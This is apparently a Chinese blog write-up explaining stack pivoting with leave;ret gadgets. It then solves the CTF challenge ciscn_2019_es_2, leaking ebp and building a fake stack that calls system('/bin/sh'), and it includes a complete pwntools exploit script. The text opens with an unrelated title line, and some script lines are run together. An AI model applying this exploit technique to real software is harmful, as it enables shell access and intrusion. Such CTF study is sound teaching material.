手机上怎么自己做网站/网站推广怎么做
七夕快乐~咕呱~
前言
栈迁移主要是为了解决栈溢出时溢出空间大小不足的问题,当我们的rop链过长时很可能栈空间不够,并且ebp之前的空间其实只是填充一些没什么用的数据
原理
与传统的pop_ret类似,栈迁移是利用level_ret这样的gadgets实现栈的迁移,都是寻找很小短的零碎代码,进行拼接。
关于gadget的定义:
gadget在英文中意为小配件,在构造ROP链时,主要是指一对pop|ret指令,其功能在于可以配置一个寄存器的值,并返回至指定地址。常常用来在64位pwn的寄存器传参中构造寄存器值,而ret可打到劫持目标函数的位置,也可以打到下一个gadget;
假设,我们有一个程序,存在栈溢出漏洞,我们把内容覆盖成了下面这样子,当然此时 bss 段或者 data 段还没有内容,待会会通过 read 函数输入:
mov esp,ebp指令执行过后:
然后 pop ebp
执行完后就是
ps. pop 指令是把栈顶的值弹到 指定的寄存器,也就是说 esp 会自动的减一个单位
这时候就到 ret
了,我们可以通过 read 函数来把内容输入到 fake ebp1 的地址处
构造的内容主要是把fake ebp1 处写成 fake ebp2 的地址
read 函数执行完成以后程序返回到了 leave_ret,这样就会在执行一遍上面说的那样
首先是 mov esp,ebp
执行完成后效果如下:
然后是 pop ebp
执行完成后:
此时再执行 ret
命令,他就会执行我们构造在 bss 段后者 data 段的那个函数
以上均整理自该博客(图片等非原创)
例题
题目链接:ciscn_2019_es_2
两次read都往同一个地方填数据(s栈变量的位置),可输入0x30大小,s离ebp距离0x28,可通过printf泄露压入的上一个栈帧的ebp,之后通过第二次read构造leave控制esp,进入fake栈进行栈迁移。
那么buf也就是s与ebp的偏移:0x38
第一个read的时候输入0x28大小的字符串,printf就会把字符串和ebp的值一同打印出来:
payload1='a'*0x28
io.send(payload1)
io.recvuntil('a'*0x28)
ebp=u32(io.recv(4).ljust(4,'\x00'))
那么我们就可以得到s的地址:fake_ebp=ebp-0x38
接下来我们利用第二个read,传入system的参数,控制程序流程。
首先是system_addr,我们伪造的ebp地址就在这,然后填充四个字符,用于system返回地址。
system是fake_ebp+12的位置,所以我们输入fake_ebp+12,再传入’/bin/sh’用于system的参数。
然后是fake_ebp-4,这是因为我们利用的是两个leave,但是第二个leave的pop ebp,在出栈的时候会esp+4。就会指向esp+4的位置,并非我们想要的地址。所以:
payload2=p32(system_addr)
payload2+='aaaa'
payload2+=p32(fake_ebp+12)
payload2+='/bin/sh\x00'
payload2=payload2.ljust(0x28,'A')
payload2+=p32(fake_ebp-4)
payload2+=p32(leave_ret)
详细完整exp:
from pwn import*
context(arch='amd64',os='linux',log_level='debug')binary='./ciscn_2019_es_2'
elf=ELF(binary)
libc=elf.libcio=process(binary)system_addr=elf.sym['system']
leave_ret=0x080484B8io.recvuntil("name?\n")
payload='a'*(0x28)
io.send(payload)io.recvuntil('a'*0x28)
ebp=u32(io.recv(4).ljust(4,'\x00'))
print('ebp=>{}'.format(hex(ebp)))fake_ebp=ebp-0x38
print('fake_ebp=>{}'.format(hex(fake_ebp)))payload=p32(system_addr)
payload+='aaaa'
payload+=p32(fake_ebp+12)
payload+='/bin/sh\x00'
payload=payload.ljust(0x28,'A')
payload+=p32(fake_ebp-4)
payload+=p32(leave_ret)io.sendline(payload)
io.interactive()